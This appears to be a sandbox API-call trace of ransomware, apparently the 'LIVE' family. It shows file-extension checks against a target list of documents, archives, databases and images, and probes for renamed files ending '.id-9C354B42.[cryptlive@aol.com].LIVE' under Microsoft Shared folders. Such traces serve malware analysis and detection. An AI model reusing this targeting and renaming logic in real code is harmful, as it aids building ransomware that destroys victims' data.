lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0129.346] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0129.346] lstrlenW (lpString=".jpg") returned 4 [0129.346] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0129.346] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0129.346] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0129.346] lstrlenW (lpString=".doc") returned 4 [0129.346] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0129.346] lstrlenW (lpString=".docx") returned 5 [0129.346] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1 [0129.346] lstrlenW (lpString=".pdf") returned 4 [0129.347] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0129.347] lstrlenW (lpString=".xls") returned 4 [0129.347] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0129.347] lstrlenW (lpString=".xlsx") returned 5 [0129.347] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1 [0129.347] lstrlenW (lpString=".ppt") returned 4 [0129.347] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0129.347] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0129.347] lstrlenW (lpString=".zip") returned 4 [0129.347] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0129.347] lstrlenW (lpString=".rar") returned 4 [0129.347] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0129.347] lstrlenW (lpString=".bz2") returned 4 [0129.347] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0129.347] lstrlenW (lpString=".7z") returned 3 [0129.347] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0129.347] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0129.347] lstrlenW (lpString=".dbf") returned 4 [0129.347] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0129.347] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0129.347] lstrlenW (lpString=".1cd") returned 4 [0129.347] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0129.347] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0129.347] lstrlenW (lpString=".jpg") returned 4 [0129.347] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0129.347] lstrcmpiW (lpString1=".avi", lpString2=".LIVE") returned -1 [0129.347] lstrlenW (lpString="correct.avi") returned 11 [0129.347] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\correct.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0129.348] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=197120) returned 1 [0129.348] CloseHandle (hObject=0x2f4) returned 1 [0129.348] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\correct.avi")) returned 0x20 [0129.348] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\correct.avi.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\correct.avi.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0129.348] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\correct.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0129.348] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\correct.avi") returned 68 [0129.348] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\correct.avi") returned 68 [0129.348] lstrlenW (lpString=".doc") returned 4 [0129.348] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0129.348] lstrlenW (lpString=".docx") returned 5 [0129.348] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1 [0129.348] lstrlenW (lpString=".pdf") returned 4 [0129.348] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0129.348] lstrlenW (lpString=".xls") returned 4 [0129.348] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0129.349] lstrlenW (lpString=".xlsx") returned 5 [0129.349] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1 [0129.349] lstrlenW (lpString=".ppt") returned 4 [0129.349] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0129.349] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\correct.avi") returned 68 [0129.349] lstrlenW (lpString=".zip") returned 4 [0129.349] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0129.349] lstrlenW (lpString=".rar") returned 4 [0129.349] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0129.349] lstrlenW (lpString=".bz2") returned 4 [0129.349] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0129.349] lstrlenW (lpString=".7z") returned 3 [0129.349] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0129.349] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\correct.avi") returned 68 [0129.349] lstrlenW (lpString=".dbf") returned 4 [0129.349] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0129.349] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\correct.avi") returned 68 [0129.349] lstrlenW (lpString=".1cd") returned 4 [0129.349] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0129.349] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\correct.avi") returned 68 [0129.349] lstrlenW (lpString=".jpg") returned 4 [0129.349] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0129.349] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\correct.avi") returned 68 [0129.349] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\correct.avi") returned 68 [0129.349] lstrlenW (lpString=".doc") returned 4 [0129.349] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0129.349] lstrlenW (lpString=".docx") returned 5 [0129.349] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1 [0129.349] lstrlenW (lpString=".pdf") returned 4 [0129.349] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0129.349] lstrlenW (lpString=".xls") returned 4 [0129.349] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0129.350] lstrlenW (lpString=".xlsx") returned 5 [0129.350] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1 [0129.350] lstrlenW (lpString=".ppt") returned 4 [0129.350] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0129.350] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\correct.avi") returned 68 [0129.350] lstrlenW (lpString=".zip") returned 4 [0129.350] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0129.350] lstrlenW (lpString=".rar") returned 4 [0129.350] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0129.350] lstrlenW (lpString=".bz2") returned 4 [0129.350] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0129.350] lstrlenW (lpString=".7z") returned 3 [0129.350] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0129.350] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\correct.avi") returned 68 [0129.350] lstrlenW (lpString=".dbf") returned 4 [0129.350] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0129.350] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\correct.avi") returned 68 [0129.350] lstrlenW (lpString=".1cd") returned 4 [0129.350] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0129.350] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\correct.avi") returned 68 [0129.350] lstrlenW (lpString=".jpg") returned 4 [0129.350] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0129.350] lstrcmpiW (lpString1=".avi", lpString2=".LIVE") returned -1 [0129.350] lstrlenW (lpString="delete.avi") returned 10 [0129.350] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\delete.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0129.738] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=224256) returned 1 [0129.739] CloseHandle (hObject=0x2fc) returned 1 [0129.739] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\delete.avi")) returned 0x20 [0129.739] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\delete.avi.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\delete.avi.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0129.739] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\delete.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0129.739] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\delete.avi") returned 67 [0129.739] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\delete.avi") returned 67 [0129.739] lstrlenW (lpString=".doc") returned 4 [0129.739] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0129.739] lstrlenW (lpString=".docx") returned 5 [0129.739] lstrcmpiW (lpString1=".docx", lpString2="e.avi") returned -1 [0129.739] lstrlenW (lpString=".pdf") returned 4 [0129.739] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0129.739] lstrlenW (lpString=".xls") returned 4 [0129.739] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0129.739] lstrlenW (lpString=".xlsx") returned 5 [0129.739] lstrcmpiW (lpString1=".xlsx", lpString2="e.avi") returned -1 [0129.739] lstrlenW (lpString=".ppt") returned 4 [0129.739] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0129.739] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\delete.avi") returned 67 [0129.739] lstrlenW (lpString=".zip") returned 4 [0129.739] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0129.739] lstrlenW (lpString=".rar") returned 4 [0129.739] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0129.739] lstrlenW (lpString=".bz2") returned 4 [0129.739] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0129.739] lstrlenW (lpString=".7z") returned 3 [0129.740] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0129.740] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\delete.avi") returned 67 [0129.740] lstrlenW (lpString=".dbf") returned 4 [0129.740] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0129.740] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\delete.avi") returned 67 [0129.740] lstrlenW (lpString=".1cd") returned 4 [0129.740] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0129.740] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\delete.avi") returned 67 [0129.740] lstrlenW (lpString=".jpg") returned 4 [0129.740] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0129.740] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\delete.avi") returned 67 [0129.740] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\delete.avi") returned 67 [0129.740] lstrlenW (lpString=".doc") returned 4 [0129.740] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0129.740] lstrlenW (lpString=".docx") returned 5 [0129.740] lstrcmpiW (lpString1=".docx", lpString2="e.avi") returned -1 [0129.740] lstrlenW (lpString=".pdf") returned 4 [0129.740] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0129.740] lstrlenW (lpString=".xls") returned 4 [0129.740] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0129.740] lstrlenW (lpString=".xlsx") returned 5 [0129.740] lstrcmpiW (lpString1=".xlsx", lpString2="e.avi") returned -1 [0129.740] lstrlenW (lpString=".ppt") returned 4 [0129.740] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0129.740] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\delete.avi") returned 67 [0129.740] lstrlenW (lpString=".zip") returned 4 [0129.740] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0129.740] lstrlenW (lpString=".rar") returned 4 [0129.740] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0129.740] lstrlenW (lpString=".bz2") returned 4 [0129.741] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0129.741] lstrlenW (lpString=".7z") returned 3 [0129.741] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0129.741] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\delete.avi") returned 67 [0129.741] lstrlenW (lpString=".dbf") returned 4 [0129.741] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0129.741] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\delete.avi") returned 67 [0129.741] lstrlenW (lpString=".1cd") returned 4 [0129.741] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0129.741] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\delete.avi") returned 67 [0129.741] lstrlenW (lpString=".jpg") returned 4 [0129.741] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0129.741] lstrcmpiW (lpString1=".avi", lpString2=".LIVE") returned -1 [0129.741] lstrlenW (lpString="join.avi") returned 8 [0129.741] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\join.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0129.743] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=222208) returned 1 [0129.743] CloseHandle (hObject=0x2fc) returned 1 [0129.743] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\join.avi")) returned 0x20 [0129.743] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\join.avi.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\join.avi.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0129.743] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\join.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0129.743] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\join.avi") returned 65 [0129.743] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\join.avi") returned 65 [0129.743] lstrlenW (lpString=".doc") returned 4 [0129.743] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0129.743] lstrlenW (lpString=".docx") returned 5 [0129.744] lstrcmpiW (lpString1=".docx", lpString2="n.avi") returned -1 [0129.744] lstrlenW (lpString=".pdf") returned 4 [0129.744] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0129.744] lstrlenW (lpString=".xls") returned 4 [0129.744] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0129.744] lstrlenW (lpString=".xlsx") returned 5 [0129.744] lstrcmpiW (lpString1=".xlsx", lpString2="n.avi") returned -1 [0129.744] lstrlenW (lpString=".ppt") returned 4 [0129.744] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0129.744] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\join.avi") returned 65 [0129.744] lstrlenW (lpString=".zip") returned 4 [0129.744] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0129.744] lstrlenW (lpString=".rar") returned 4 [0129.744] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0129.744] lstrlenW (lpString=".bz2") returned 4 [0129.744] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0129.744] lstrlenW (lpString=".7z") returned 3 [0129.744] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0129.744] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\join.avi") returned 65 [0129.744] lstrlenW (lpString=".dbf") returned 4 [0129.744] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0129.744] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\join.avi") returned 65 [0129.744] lstrlenW (lpString=".1cd") returned 4 [0129.744] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0129.744] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\join.avi") returned 65 [0129.744] lstrlenW (lpString=".jpg") returned 4 [0129.745] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0129.745] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\join.avi") returned 65 [0129.745] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\join.avi") returned 65 [0129.745] lstrlenW (lpString=".doc") returned 4 [0129.745] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0129.745] lstrlenW (lpString=".docx") returned 5 [0129.745] lstrcmpiW (lpString1=".docx", lpString2="n.avi") returned -1 [0129.745] lstrlenW (lpString=".pdf") returned 4 [0129.745] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0129.745] lstrlenW (lpString=".xls") returned 4 [0129.745] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0129.745] lstrlenW (lpString=".xlsx") returned 5 [0129.745] lstrcmpiW (lpString1=".xlsx", lpString2="n.avi") returned -1 [0129.745] lstrlenW (lpString=".ppt") returned 4 [0129.745] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0129.745] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\join.avi") returned 65 [0129.745] lstrlenW (lpString=".zip") returned 4 [0129.745] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0129.745] lstrlenW (lpString=".rar") returned 4 [0129.745] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0129.745] lstrlenW (lpString=".bz2") returned 4 [0129.745] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0129.745] lstrlenW (lpString=".7z") returned 3 [0129.746] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0129.746] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\join.avi") returned 65 [0129.746] lstrlenW (lpString=".dbf") returned 4 [0129.746] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0129.746] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\join.avi") returned 65 [0129.746] lstrlenW (lpString=".1cd") returned 4 [0129.746] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0129.746] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\join.avi") returned 65 [0129.746] lstrlenW (lpString=".jpg") returned 4 [0129.746] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0129.746] lstrcmpiW (lpString1=".avi", lpString2=".LIVE") returned -1 [0129.746] lstrlenW (lpString="split.avi") returned 9 [0129.746] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\split.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0129.746] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=194048) returned 1 [0129.746] CloseHandle (hObject=0x2fc) returned 1 [0129.747] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\split.avi")) returned 0x20 [0129.747] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\split.avi.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\split.avi.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0129.747] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\split.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0129.747] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\split.avi") returned 66 [0129.747] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\split.avi") returned 66 [0129.747] lstrlenW (lpString=".doc") returned 4 [0129.747] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0129.747] lstrlenW (lpString=".docx") returned 5 [0129.747] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1 [0129.747] lstrlenW (lpString=".pdf") returned 4 [0129.747] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0129.747] lstrlenW (lpString=".xls") returned 4 [0129.747] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0129.747] lstrlenW (lpString=".xlsx") returned 5 [0129.747] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1 [0129.747] lstrlenW (lpString=".ppt") returned 4 [0129.747] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0129.747] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\split.avi") returned 66 [0129.747] lstrlenW (lpString=".zip") returned 4 [0129.747] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0129.747] lstrlenW (lpString=".rar") returned 4 [0129.747] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0129.747] lstrlenW (lpString=".bz2") returned 4 [0129.747] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0129.747] lstrlenW (lpString=".7z") returned 3 [0129.747] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0129.747] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\split.avi") returned 66 [0129.747] lstrlenW (lpString=".dbf") returned 4 [0129.747] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0129.747] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\split.avi") returned 66 [0129.748] lstrlenW (lpString=".1cd") returned 4 [0129.748] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0129.748] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\split.avi") returned 66 [0129.748] lstrlenW (lpString=".jpg") returned 4 [0129.748] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0129.748] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\split.avi") returned 66 [0129.748] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\split.avi") returned 66 [0129.748] lstrlenW (lpString=".doc") returned 4 [0129.748] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0129.748] lstrlenW (lpString=".docx") returned 5 [0129.748] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1 [0129.748] lstrlenW (lpString=".pdf") returned 4 [0129.748] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0129.748] lstrlenW (lpString=".xls") returned 4 [0129.748] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0129.748] lstrlenW (lpString=".xlsx") returned 5 [0129.748] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1 [0129.748] lstrlenW (lpString=".ppt") returned 4 [0129.748] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0129.748] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\split.avi") returned 66 [0129.748] lstrlenW (lpString=".zip") returned 4 [0129.748] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0129.748] lstrlenW (lpString=".rar") returned 4 [0129.748] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0129.748] lstrlenW (lpString=".bz2") returned 4 [0129.748] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0129.748] lstrlenW (lpString=".7z") returned 3 [0129.748] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0129.748] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\split.avi") returned 66 [0129.748] lstrlenW (lpString=".dbf") returned 4 [0129.748] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0129.748] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\split.avi") returned 66 [0129.749] lstrlenW (lpString=".1cd") returned 4 [0129.749] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0129.749] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\split.avi") returned 66 [0129.749] lstrlenW (lpString=".jpg") returned 4 [0129.749] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0129.749] lstrcmpiW (lpString1=".avi", lpString2=".LIVE") returned -1 [0129.749] lstrlenW (lpString="FlickAnimation.avi") returned 18 [0129.749] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickAnimation.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flickanimation.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0129.749] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=1600388) returned 1 [0129.749] CloseHandle (hObject=0x2fc) returned 1 [0129.749] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickAnimation.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flickanimation.avi")) returned 0x20 